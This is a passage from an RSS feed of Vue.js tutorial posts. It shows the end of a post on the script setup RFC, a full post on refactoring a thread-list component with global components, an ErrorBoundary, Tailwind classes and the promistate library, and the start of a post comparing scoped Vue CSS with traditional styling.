  setup() {
    <span class="hljs-keyword">const</span> hello = ref(<span class="hljs-string">'world'</span>)

    <span class="hljs-keyword">return</span> {
      hello
    }
  }
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>Now much changed for this simple component, right? In fact, it got bigger.</p>
<x-ad />
<hr>
<p>Now the other day, a new RFC was posted on GitHub. Using &quot;setup&quot;, you usually don't need methods, computed, data, and life cycle hooks anymore, so setting up &quot;script&quot; comes with seemingly unnecessary overhead.</p>
<p>So this new proposal allows us to only work using the setup method directly inside <code>&lt;script&gt;</code>.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>{{ hello }}<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span> <span class="hljs-attr">setup</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">import</span> { ref } <span class="hljs-keyword">from</span> <span class="hljs-string">'vue'</span>

<span class="hljs-keyword">export</span> <span class="hljs-keyword">const</span> hello = ref(<span class="hljs-string">'world'</span>)
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>This might look a little alien, but think about it. In Vue 2, we exported an entire object using &quot;export default&quot; for the template to use. With <code>&lt;script setup&gt;</code> we export individual parts for the template to use.</p>
<p>With all the indentation necessary to add a little bit of state, setting up components in Vue was always a little tedious. This svelte-react-mix completely gets rid of this problem.</p>
<p>Now how do we register components you might ask? This also got a DX boost. Instead of importing <strong>AND</strong> registering it, the two steps were merged into one. There still seems to be some debate on all of this, but check out the RFC for more info.</p>
<p>RFC: <a href="https://github.com/vuejs/rfcs/pull/182">https://github.com/vuejs/rfcs/pull/182</a></p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vue.js - Cleaning up components]]></title>
            <link>https://michaelzanggl.com/articles/vue-cleaning-up-components/</link>
            <guid>vue-cleaning-up-components</guid>
            <description><![CDATA[If you write a semi-big vue application you might see familiar patterns popping up repeatedly. Let's take a look at some of these and how we can drastically improve our components.]]></description>
            <content:encoded><![CDATA[<p>If you write a semi-big vue application you might see familiar patterns popping up repeatedly. Let's take a look at some of these and how we can drastically improve our Vue components.</p>
<p>This is the component we will refactor. Its purpose is to fetch a list of threads. It also handles cases when the thread list is empty, when the component is currently fetching the resource or when there was an error fetching the resource. This currently results in over 50 lines of code.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-if</span>=<span class="hljs-string">"error"</span>&gt;</span>
  Whoops! Something happened
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-else-if</span>=<span class="hljs-string">"isPending"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">LoadingSpinner</span> /&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-else-if</span>=<span class="hljs-string">"isEmpty"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"empty-results"</span>&gt;</span>
  There are no threads!
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-else</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">ThreadList</span> <span class="hljs-attr">:threads</span>=<span class="hljs-string">"threads"</span> /&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">import</span> LoadingSpinner <span class="hljs-keyword">from</span> <span class="hljs-string">'../layouts/LoadingSpinner'</span>
<span class="hljs-keyword">import</span> ThreadList <span class="hljs-keyword">from</span> <span class="hljs-string">'./ThreadList'</span>

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
  <span class="hljs-attr">components</span>: { LoadingSpinner, ThreadList },
  data() {
    <span class="hljs-keyword">return</span> {
        <span class="hljs-attr">threads</span>: [],
        <span class="hljs-attr">error</span>: <span class="hljs-literal">null</span>,
        <span class="hljs-attr">isPending</span>: <span class="hljs-literal">true</span>,
    }
  },
  <span class="hljs-attr">computed</span>: {
    isEmpty() {
      <span class="hljs-keyword">return</span> !<span class="hljs-keyword">this</span>.isPending &amp;&amp; <span class="hljs-keyword">this</span>.threads.length &lt; <span class="hljs-number">1</span>
    }
  },
  <span class="hljs-keyword">async</span> created() {
    <span class="hljs-keyword">try</span> {
      <span class="hljs-keyword">this</span>.threads = <span class="hljs-keyword">await</span> fetch(<span class="hljs-string">'/api/threads'</span>).then(<span class="hljs-function"><span class="hljs-params">res</span> =&gt;</span> res.json())
    } <span class="hljs-keyword">catch</span> (error) {
      <span class="hljs-keyword">this</span>.error = error
    }

    <span class="hljs-keyword">this</span>.isPending = <span class="hljs-literal">false</span>
  }
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">style</span> <span class="hljs-attr">scoped</span>&gt;</span><span class="css">
<span class="hljs-selector-class">.empty-results</span> {
  <span class="hljs-attribute">margin</span>: <span class="hljs-number">1rem</span>;
  <span class="hljs-attribute">font-size</span>: .<span class="hljs-number">875rem</span>;
  <span class="hljs-attribute">text-align</span>: center;
}

<span class="hljs-keyword">@media</span> (<span class="hljs-attribute">min-width:</span> <span class="hljs-number">1024px</span>) {
  <span class="hljs-selector-tag">margin</span>: <span class="hljs-selector-class">.875rem</span>;
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>
</code></pre>
<p>There are a ton of improvements we can do without reaching for a state management library like vuex, so let's check them out one by one.</p>
<p>Note that none of these improvements are strictly necessary, but keep the ones you like in your head for the time you do feel like writing components becomes cumbersome.</p>
<hr>
<h2 id="1.-global-components">1. Global components</h2>
<p>If you have some general component that you need on a lot of pages it can make sense to register it as a global component. This is exactly the case with our <code>LoadingSpinner</code>.</p>
<p>To register it globally, head over to the file where you instantiate vue, you know, where you also register any modules using <code>Vue.use</code>.</p>
<p>Here, we can now import the loading spinner and register it globally.</p>
<pre class="hljs"><code><span class="hljs-keyword">import</span> LoadingSpinner <span class="hljs-keyword">from</span> <span class="hljs-string">'./layouts/LoadingSpinner'</span>

Vue.component(<span class="hljs-string">'LoadingSpinner'</span>, LoadingSpinner)

<span class="hljs-comment">// ...</span>
<span class="hljs-comment">// new Vue()</span>
</code></pre>
<p>And that's it! Now you can remove the import and component registration from our component, leaving us with:</p>
<pre class="hljs"><code>// ...

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">import</span> ThreadList <span class="hljs-keyword">from</span> <span class="hljs-string">'./ThreadList'</span>

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
  <span class="hljs-attr">components</span>: { ThreadList },
  <span class="hljs-comment">// ...</span>
</span></code></pre>
<h2 id="2.-error-boundary">2. Error Boundary</h2>
<p>Catching errors in every component can become quite cumbersome. Luckily there is a solution for that.</p>
<p>Let's create a new component called <code>ErrorBoundary.vue</code>.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-if</span>=<span class="hljs-string">"!!error"</span>&gt;</span>
    Whoops! {{ error }}
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-else</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">slot</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">slot</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>

<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    <span class="hljs-attr">data</span>: <span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> ({
        <span class="hljs-attr">error</span>: <span class="hljs-literal">null</span>,
    }),

    errorCaptured (error, vm, info) {
        <span class="hljs-keyword">this</span>.error = error
    },
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>This is an ErrorBoundary component. We wrap it around components and it will catch errors that were emitted from inside those components and then render the error message instead. (If you use vue-router, wrap it around the router-view, or even higher)</p>
<p>For example:</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">v-app</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">ErrorBoundary</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">v-content</span>&gt;</span>
      <span class="hljs-tag">&lt;<span class="hljs-name">v-container</span> <span class="hljs-attr">fluid</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">router-view</span> <span class="hljs-attr">:key</span>=<span class="hljs-string">"$route.fullPath"</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">router-view</span>&gt;</span>
      <span class="hljs-tag">&lt;/<span class="hljs-name">v-container</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">v-content</span>&gt;</span>
  <span class="hljs-tag">&lt;/<span class="hljs-name">ErrorBoundary</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">v-app</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">import</span> ErrorBoundary <span class="hljs-keyword">from</span> <span class="hljs-string">'./layout/ErrorBoundary'</span>

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
  <span class="hljs-attr">components</span>: {
    ErrorBoundary,
  }
}
</span></code></pre>
<p>Nice! Back in our component we can now get rid of the error property and the if condition in the template:</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-if</span>=<span class="hljs-string">"error"</span>&gt;</span>
  Whoops! Something happened
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<p>And our created lifecycle method no longer requires the try-catch:</p>
<pre class="hljs"><code><span class="hljs-keyword">async</span> created() {
    <span class="hljs-keyword">this</span>.threads = <span class="hljs-keyword">await</span> fetch(<span class="hljs-string">'/api/threads'</span>).then(<span class="hljs-function"><span class="hljs-params">res</span> =&gt;</span> res.json())
    <span class="hljs-keyword">this</span>.isPending = <span class="hljs-literal">false</span>
  }
</code></pre>
<x-ad />
<h2 id="3.-utility-first-css">3. Utility first CSS</h2>
<p>Vue's scoped CSS is truly an amazing feature. But let's see if we can get this even simpler. If you followed some of my previous blog posts you will know I am a big fan of utility first CSS. Let's use <a href="https://tailwindcss.com/">tailwind CSS</a> here as an example, but you could potentially also create your own global utility classes to kick things off.</p>
<p>After installing tailwindCSS we can remove all of this</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">style</span> <span class="hljs-attr">scoped</span>&gt;</span><span class="css">
<span class="hljs-selector-class">.empty-results</span> {
  <span class="hljs-attribute">margin</span>: <span class="hljs-number">1rem</span>;
  <span class="hljs-attribute">font-size</span>: .<span class="hljs-number">875rem</span>;
  <span class="hljs-attribute">text-align</span>: center;
}

<span class="hljs-keyword">@media</span> (<span class="hljs-attribute">min-width:</span> <span class="hljs-number">1024px</span>) {
  <span class="hljs-selector-tag">margin</span>: <span class="hljs-selector-class">.875rem</span>;
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>
</code></pre>
<p>And in our template, the following:</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-else-if</span>=<span class="hljs-string">"isEmpty"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"empty-results"</span>&gt;</span>
  There are no threads!
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<p>now becomes:</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-else-if</span>=<span class="hljs-string">"isEmpty"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"m-4 lg:m-3 text-sm text-center"</span>&gt;</span>
  There are no threads!
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<p>If you find yourself repeating these classes, put the div in a dumb component!
If, on the other hand you find this to be an absolutely horrible way to do CSS, please check out <a href="/articles/utility-first-css">my blog post</a> explaining this approach.</p>
<h2 id="4.-promistate">4. promistate</h2>
<p>There is still a lot of code that needs to be repeated across similar components, especially this part here:</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
  data() {
    <span class="hljs-keyword">return</span> {
        <span class="hljs-attr">threads</span>: [],
        <span class="hljs-attr">isPending</span>: <span class="hljs-literal">true</span>,
    }
  },
  <span class="hljs-attr">computed</span>: {
    isEmpty() {
      <span class="hljs-keyword">return</span> !<span class="hljs-keyword">this</span>.isPending &amp;&amp; <span class="hljs-keyword">this</span>.threads.length &lt; <span class="hljs-number">1</span>
    }
  }
  <span class="hljs-comment">// ...</span>
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>For this, I have written my own little library called <a href="https://github.com/MZanggl/promistate">promistate</a> to simplify &quot;promised&quot; state like this.</p>
<p>Using promistate the script now becomes:</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">import</span> ThreadList <span class="hljs-keyword">from</span> <span class="hljs-string">'./ThreadList'</span>
<span class="hljs-keyword">import</span> promistate <span class="hljs-keyword">from</span> <span class="hljs-string">'promistate'</span>

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
  <span class="hljs-attr">components</span>: { ThreadList },
  data() {
    <span class="hljs-keyword">const</span> threadsPromise = promistate(<span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> fetch(<span class="hljs-string">'/api/threads'</span>).then(<span class="hljs-function"><span class="hljs-params">res</span> =&gt;</span> res.json()), { <span class="hljs-attr">catchErrors</span>: <span class="hljs-literal">false</span> }) <span class="hljs-comment">// no fetch fired yet</span>

    <span class="hljs-keyword">return</span> { threadsPromise }
  },
  <span class="hljs-keyword">async</span> created() {
    <span class="hljs-keyword">await</span> <span class="hljs-keyword">this</span>.threadsPromise.load() <span class="hljs-comment">// callback gets fired and saved inside this object</span>
  }
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>and the template becomes:</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-if</span>=<span class="hljs-string">"threadsPromise.isPending"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">LoadingSpinner</span> <span class="hljs-attr">v-if</span>=<span class="hljs-string">"threadsPromise.isPending"</span> /&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-else-if</span>=<span class="hljs-string">"threadsPromise.isEmpty"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"m-4 lg:m-3 text-sm text-center"</span>&gt;</span>
  There are no threads!
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-else</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">ThreadList</span> <span class="hljs-attr">:threads</span>=<span class="hljs-string">"threadsPromise.value"</span> /&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>
</code></pre>
<p>You can check the promistate documentation for how it works, but basically we simply store the callback you pass in inside <code>data</code> and when you trigger the callback using the <code>load</code> method it sets values like <code>isPending</code>, <code>isEmpty</code> etc.
We also pass the option <code>catchErrors: false</code> so the error keeps bubbling up to our ErrorBoundary. You can now decide for yourself if you still need that ErrorBoundary though.</p>
<p>You can even go a step further and create a component that accepts a promise to automatically handle the pending, empty and error states.</p>
<h2 id="5.-remove-useless-divs">5. Remove useless divs</h2>
<p>Let's take a look at our template once more. There are quite a few divs inside that we don't actually need. Removing those results in simply</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">LoadingSpinner</span> <span class="hljs-attr">v-if</span>=<span class="hljs-string">"threadsPromise.isPending"</span> /&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-else-if</span>=<span class="hljs-string">"threadsPromise.isEmpty"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"m-4 lg:m-3 text-sm text-center"</span>&gt;</span>
  There are no threads!
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">ThreadList</span> <span class="hljs-attr">v-else</span> <span class="hljs-attr">:threads</span>=<span class="hljs-string">"threadsPromise.value"</span> /&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>
</code></pre>
<p>Alright! Down to 23 lines.</p>
<h2 id="6.-give-your-code-some-room-to-breathe">6. Give your code some room to breathe</h2>
<p>So far we focused a lot on reducing the LOC (lines of code) in our vue component. But focusing on this one criteria alone could get our code into an equally bad shape as we had before...</p>
<p>I love it when Steve Schoger talks about design, he always says to give your elements more room to breathe. The same can also apply to code!</p>
<p>In fact, I think our component can greatly benefit from adding some space.</p>
<p>Turning</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">LoadingSpinner</span> <span class="hljs-attr">v-if</span>=<span class="hljs-string">"threadsPromise.isPending"</span> /&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-else-if</span>=<span class="hljs-string">"threadsPromise.isEmpty"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"m-4 lg:m-3 text-sm text-center"</span>&gt;</span>
  There are no threads!
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">ThreadList</span> <span class="hljs-attr">v-else</span> <span class="hljs-attr">:threads</span>=<span class="hljs-string">"threadsPromise.value"</span> /&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">import</span> ThreadList <span class="hljs-keyword">from</span> <span class="hljs-string">'./ThreadList'</span>
<span class="hljs-keyword">import</span> promistate <span class="hljs-keyword">from</span> <span class="hljs-string">'promistate'</span>

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
  <span class="hljs-attr">components</span>: { ThreadList },
  data() {
    <span class="hljs-keyword">const</span> threadsPromise = promistate(<span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> fetch(<span class="hljs-string">'/api/threads'</span>).then(<span class="hljs-function"><span class="hljs-params">res</span> =&gt;</span> res.json()), { <span class="hljs-attr">catchErrors</span>: <span class="hljs-literal">false</span> })

    <span class="hljs-keyword">return</span> { threadsPromise }
  },
  <span class="hljs-keyword">async</span> created() {
    <span class="hljs-keyword">await</span> <span class="hljs-keyword">this</span>.threadsPromise.load()
  }
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>into</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">LoadingSpinner</span> <span class="hljs-attr">v-if</span>=<span class="hljs-string">"threadsPromise.isPending"</span> /&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">v-else-if</span>=<span class="hljs-string">"threadsPromise.isEmpty"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"m-4 lg:m-3 text-sm text-center"</span>&gt;</span>
  There are no threads!
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">ThreadList</span> <span class="hljs-attr">v-else</span> <span class="hljs-attr">:threads</span>=<span class="hljs-string">"threadsPromise.value"</span> /&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">import</span> ThreadList <span class="hljs-keyword">from</span> <span class="hljs-string">'./ThreadList'</span>
<span class="hljs-keyword">import</span> promistate <span class="hljs-keyword">from</span> <span class="hljs-string">'promistate'</span>

<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
  <span class="hljs-attr">components</span>: { ThreadList },

  data() {
    <span class="hljs-keyword">const</span> threadsPromise = promistate(<span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> fetch(<span class="hljs-string">'/api/threads'</span>).then(<span class="hljs-function"><span class="hljs-params">res</span> =&gt;</span> res.json()), { <span class="hljs-attr">catchErrors</span>: <span class="hljs-literal">false</span> })
    <span class="hljs-keyword">return</span> { threadsPromise }
  },

  <span class="hljs-keyword">async</span> created() {
    <span class="hljs-keyword">await</span> <span class="hljs-keyword">this</span>.threadsPromise.load()
  }
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>At least for me, this reads a lot easier.</p>
<hr>
<p>And there you have it, 6 ways to clean up your Vue components. Let's see how the composition API in Vue 3 will change things again!</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Vue vs Traditional CSS - Beginner's Guide]]></title>
            <link>https://michaelzanggl.com/articles/vue-vs-traditional-css/</link>
            <guid>vue-vs-traditional-css</guid>
            <description><![CDATA[Let's explore Vue's refreshing approach on CSS.]]></description>
            <content:encoded><![CDATA[<p>For traditional websites there are a multitude of ways we can implement CSS.
The most common way is to put the styles in its own CSS file.</p>
<p>There is usually a global CSS file and then one CSS file per page. For smaller pages you will also often find the CSS within the HTML page (usually in the <code>&lt;head&gt;</code> part).</p>
<p>This more than often results in big CSS files, that are very hard to manage or refactor without breaking something while doing so.</p>
<h3 id="vue">Vue</h3>
<p>In Vue, each component can have its own styling that is <strong>scoped</strong> to the component.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"success-message"</span>&gt;</span>this will be green<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">style</span> <span class="hljs-attr">scoped</span>&gt;</span><span class="css">
<span class="hljs-selector-class">.success-message</span> {
    <span class="hljs-attribute">color</span>: green;
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>
</code></pre>
<p>Notice the <code>scoped</code> attribute we pass along the <code>&lt;style&gt;</code> tag. Without this, the CSS would be applied globally. Something we want to avoid. So if I go ahead and create another component with a div that uses the class <code>success-message</code>, that div will not become green.</p>
<p>What we end up in Vue is a bunch of small components with only little to no CSS inside each. Gone are the days of having to organize a large set of global CSS somehow, dealing with conflicting style rules and specificity. Together with a CSS framework (see below) you will end up with easily understable and small CSS!</p>
<p>It also avoids constantly having to switch between JavaScript, HTML and CSS files since everything is in one file.</p>
<p>For the CSS you do write, I still recommend following a methodology like BEM.</p>
<h2 id="dealing-with-classes">Dealing with classes</h2>
<p>We often have to add and remove classes from elements to apply specific styles.</p>
<h3 id="traditional">Traditional</h3>
<pre class="hljs"><code><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">handleClick</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">const</span> messageEl = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'message'</span>)
    messageEl.classList.add(<span class="hljs-string">'primary'</span>)
}
<span class="hljs-comment">// ...</span>
<span class="hljs-comment">// ...</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">deleteProject</span>(<span class="hljs-params"></span>) </span>{
    <span class="hljs-keyword">const</span> messageEl = <span class="hljs-built_in">document</span>.getElementById(<span class="hljs-string">'message'</span>)
    messageEl.classList.remove(<span class="hljs-string">'primary'</span>)
    messageEl.classList.add(<span class="hljs-string">'danger'</span>)
}
</code></pre>
<p>As you can see, the classList might get modified at any point in the application and it become hard to track.</p>
<h3 id="vue-2">Vue</h3>
<p>In Vue there are multiple ways:</p>
<h5 id="using-arrays">Using Arrays</h5>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">:class</span>=<span class="hljs-string">"['consistent-rule', isPrimary ? 'primary' : '']"</span>&gt;</span>message<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    data() {
        <span class="hljs-keyword">return</span> {
            <span class="hljs-attr">isPrimary</span>: <span class="hljs-literal">true</span>,
        }
    }
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">style</span> <span class="hljs-attr">scoped</span>&gt;</span><span class="css">
<span class="hljs-selector-class">.primary</span> {
    <span class="hljs-attribute">color</span>: <span class="hljs-number">#369369</span>;
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>
</code></pre>
<h5 id="using-objects">Using Objects</h5>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">:class</span>=<span class="hljs-string">{</span>'<span class="hljs-attr">consistent-rule</span>'<span class="hljs-attr">:</span> <span class="hljs-attr">true</span>, '<span class="hljs-attr">primary</span>'<span class="hljs-attr">:</span> <span class="hljs-attr">isPrimary</span>}"&gt;</span>message<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
<span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
    data() {
        <span class="hljs-keyword">return</span> {
            <span class="hljs-attr">isPrimary</span>: <span class="hljs-literal">true</span>,
        }
    }
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">style</span> <span class="hljs-attr">scoped</span>&gt;</span><span class="css">
<span class="hljs-selector-class">.primary</span> {
    <span class="hljs-attribute">color</span>: <span class="hljs-number">#369369</span>;
}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>
</code></pre>
<p>The convenient thing is that all possible classes are together in one place. Of course you can also extract the <code>class</code> out to a computed field.</p>
<x-ad />
<h2 id="using-scss-or-other-preprocessors-skipping-setup">Using SCSS (or other preprocessors) (skipping setup)</h2>
<h3 id="traditional-2">Traditional</h3>
<p>This usually requires you to create a <code>.scss</code> file that will get compiled down to a <code>.css</code> file in the <code>public</code> or <code>dist</code> directory that you then have to import. You will no longer be able to have the CSS in the same file as the HTML.</p>
<h3 id="vue-3">Vue</h3>
<p>Take a look at this please</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"red--text"</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"#"</span>&gt;</span>this will be red<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">style</span> <span class="hljs-attr">scoped</span> <span class="hljs-attr">lang</span>=<span class="hljs-string">"scss"</span>&gt;</span>
$alert: #c04848;
.red--text {
    color: $alert;
}
<span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>
</code></pre>
<p>The only change that is necessary is to add <code>lang=&quot;scss&quot;</code> to the <code>&lt;style&gt;</code> tag.</p>
<h2 id="using-frameworks">Using Frameworks</h2>
